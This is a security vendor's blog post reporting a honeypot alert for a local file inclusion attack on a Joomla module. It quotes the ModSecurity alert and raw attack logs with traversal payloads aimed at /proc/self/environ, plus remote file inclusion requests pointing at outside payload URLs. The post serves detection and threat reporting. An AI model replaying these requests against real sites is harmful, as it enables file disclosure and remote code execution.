Connect with our team of offensive security, AI security and pen testing experts at Black Hat Europe 2023. Learn More

Connect with our team of offensive security, AI security and pen testing experts at Black Hat Europe 2023. Learn More

Services
Capture
Managed Detection & Response

Eradicate cyberthreats with world-class intel and expertise

twi-cloud-lock-color-svg
Managed Security Services

Expand your team’s capabilities and strengthen your security posture

twi-briefcase-color-svg
Consulting & Professional Services

Tap into our global team of tenured cybersecurity specialists

twi-dashboard-color-svg
Penetration Testing

Subscription- or project-based testing, delivered by global experts

twi-database-color-svg
Database Security

Get ahead of database risk, protect data and exceed compliance requirements

twi-email-color-svg
Email Security & Management

Catch email threats others miss with layered security & maximum control

twi-managed-portal-color
Co-Managed SOC (SIEM)

Eliminate alert fatigue, focus your SecOps team, stop threats fast, and reduce cyber risk

Solutions
BY TOPIC
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
The Trustwave Approach
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Platform
SpiderLabs Fusion Center
Security Operations Centers
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

[Honeypot Alert] Simple Page Options Module for Joomla! Local File Inclusion Attack Detected

Our web honeypots generated the following ModSecurity alert today:

[Thu Jan 19 17:55:55 2012] [error] [client 218.145.160.100] ModSecurity: Warning. Pattern match ".*" at TX:950103-WEB_ATTACK/DIR_TRAVERSAL-ARGS:spo_site_lang.  [file "/usr/local/apache/conf/crs/base_rules/modsecurity_slr_46_lfi_attacks.conf"] [line "6379"] [id "2074201"] [rev "011712"]  [msg "SLR: Simple Page Options Module for Joomla! modules/mod_spo/email_sender.php spo_site_lang Parameter Traversal Local File Inclusion"]  [data "../../../../../../../../../../../../..//proc/self/environ\\x0000"] [severity "CRITICAL"]  [tag "WEB_ATTACK/LFI"] [tag "http://osvdb.org/show/osvdb/74201"] [hostname "XXXXXXXXX"] [uri "/modules/mod_spo/email_sender.php"] [unique_id "TxgfUsCoAWQAATMwHvsAAAAB"]

This rule is part of our commercial rules feed for ModSecurity which identifies attacks for known public vulnerabilties. After analyzing the logs, we found the following attacks:

218.145.160.100 - - [19/Jan/2012:17:55:55 +0900] "GET /modules/mod_spo/email_sender.php?also_email_to=sample@email.tst&spo_f_email[0]=sample@email.tst&spo_message=20&spo_msg_ftr=This%20contact%20message%20was%20generated%20using%20Simple%20Page%20Options%20Module%20from%20SITEURL.&spo_send_type=&spo_site_lang=../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 404 238218.145.160.100 - - [19/Jan/2012:18:05:26 +0900] "GET /modules/mod_spo/email_sender.php?also_email_to=sample@email.tst&spo_f_email[0]=sample@email.tst&spo_message=20&spo_msg_ftr=This%20contact%20message%20was%20generated%20using%20Simple%20Page%20Options%20Module%20from%20SITEURL.&spo_send_type=&spo_site_lang=../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 404 238218.145.160.100 - - [19/Jan/2012:18:09:52 +0900] "GET /modules/mod_spo/email_sender.php?also_email_to=sample@email.tst&spo_f_email[0]=sample@email.tst&spo_message=20&spo_msg_ftr=This%20contact%20message%20was%20generated%20using%20Simple%20Page%20Options%20Module%20from%20SITEURL.&spo_send_type=&spo_site_lang=test?? HTTP/1.1" 404 238218.145.160.100 - - [19/Jan/2012:18:09:53 +0900] "GET /modules/mod_spo/email_sender.php?also_email_to=sample@email.tst&spo_f_email[0]=sample@email.tst&spo_message=20&spo_msg_ftr=This%20contact%20message%20was%20generated%20using%20Simple%20Page%20Options%20Module%20from%20SITEURL.&spo_send_type=&spo_site_lang=http://mark.sk/images/save.jpg HTTP/1.1" 404 238218.145.160.100 - - [19/Jan/2012:18:09:54 +0900] "GET /modules/mod_spo/email_sender.php?also_email_to=sample@email.tst&spo_f_email[0]=sample@email.tst&spo_message=20&spo_msg_ftr=This%20contact%20message%20was%20generated%20using%20Simple%20Page%20Options%20Module%20from%20SITEURL.&spo_send_type=&spo_site_lang=http://www.sansovinonline.com/e107_themes/templates/blues.txt?? HTTP/1.1" 404 238218.145.160.100 - - [19/Jan/2012:18:09:55 +0900] "GET /modules/mod_spo/email_sender.php?also_email_to=sample@email.tst&spo_f_email[0]=sample@email.tst&spo_message=20&spo_msg_ftr=This%20contact%20message%20was%20generated%20using%20Simple%20Page%20Options%20Module%20from%20SITEURL.&spo_send_type=&spo_site_lang=http://www.practical-philosophy.org.uk/joomla/images/logo.png?? HTTP/1.1" 404 238218.145.160.100 - - [19/Jan/2012:18:17:17 +0900] "GET /modules/mod_spo/email_sender.php?also_email_to=sample@email.tst&spo_f_email[0]=sample@email.tst&spo_message=20&spo_msg_ftr=This%20contact%20message%20was%20generated%20using%20Simple%20Page%20Options%20Module%20from%20SITEURL.&spo_send_type=&spo_site_lang=test?? HTTP/1.1" 404 238218.145.160.100 - - [19/Jan/2012:18:17:18 +0900] "GET /modules/mod_spo/email_sender.php?also_email_to=sample@email.tst&spo_f_email[0]=sample@email.tst&spo_message=20&spo_msg_ftr=This%20contact%20message%20was%20generated%20using%20Simple%20Page%20Options%20Module%20from%20SITEURL.&spo_send_type=&spo_site_lang=http://mark.sk/images/save.jpg HTTP/1.1" 404 238218.145.160.100 - - [19/Jan/2012:18:17:18 +0900] "GET /modules/mod_spo/email_sender.php?also_email_to=sample@email.tst&spo_f_email[0]=sample@email.tst&spo_message=20&spo_msg_ftr=This%20contact%20message%20was%20generated%20using%20Simple%20Page%20Options%20Module%20from%20SITEURL.&spo_send_type=&spo_site_lang=http://www.sansovinonline.com/e107_themes/templates/blues.txt?? HTTP/1.1" 404 238218.145.160.100 - - [19/Jan/2012:18:17:19 +0900] "GET /modules/mod_spo/email_sender.php?also_email_to=sample@email.tst&spo_f_email[0]=sample@email.tst&spo_message=20&spo_msg_ftr=This%20contact%20message%20was%20generated%20using%20Simple%20Page%20Options%20Module%20from%20SITEURL.&spo_send_type=&spo_site_lang=http://www.practical-philosophy.org.uk/joomla/images/logo.png?? HTTP/1.1" 404 238

OSVDB lists the following about this known vulnerability in the Simple Page Options Joomla Module:

Simple Page Options Module for Joomla! contains a flaw that may allow a remote attacker to execute arbitrary commands or code. The issue is due to the modules/mod_spo/email_sender.php script not properly sanitizing user input, specifically directory traversal style attacks (e.g., ../../) supplied to the 'spo_site_lang' parameter. This may allow an attacker to include a file from the targeted host that contains arbitrary commands or code that will be executed by the vulnerable script. Such attacks are limited due to the script only calling files already on the target host. In addition, this flaw can potentially be used to disclose the contents of any file on the system accessible by the web server.

Even though the vulnerable code is supposed to only be vulnerable to Local File Inclusion (LFI) attacks, tt appears that the attacker is also attempting Remote File Inclusion (RFII) attacks as well.

Latest SpiderLabs Blogs

The 2023 Retail Services Sector Threat Landscape: A Trustwave Threat Intelligence Briefing

The annual holiday shopping season is poised for a surge in spending, a fact well-known to retailers, consumers, and cybercriminals alike. The latter group, however, is poised to exploit any...

Read More

Pwning Electroencephalogram (EEG) Medical Devices by Default

Overall Analysis of Vulnerability Identification – Default Credentials Leading to Remote Code Execution During internal network testing, a document was discovered titled the “XL Security Site...

Read More

Hidden Data Exfiltration Using Time, Literally

I was looking at my watch last week and my attention was moved towards the seconds over at the right of the watch face, incrementing nicely along as you’d expect. Now, I don’t know if I’d just spent...

Read More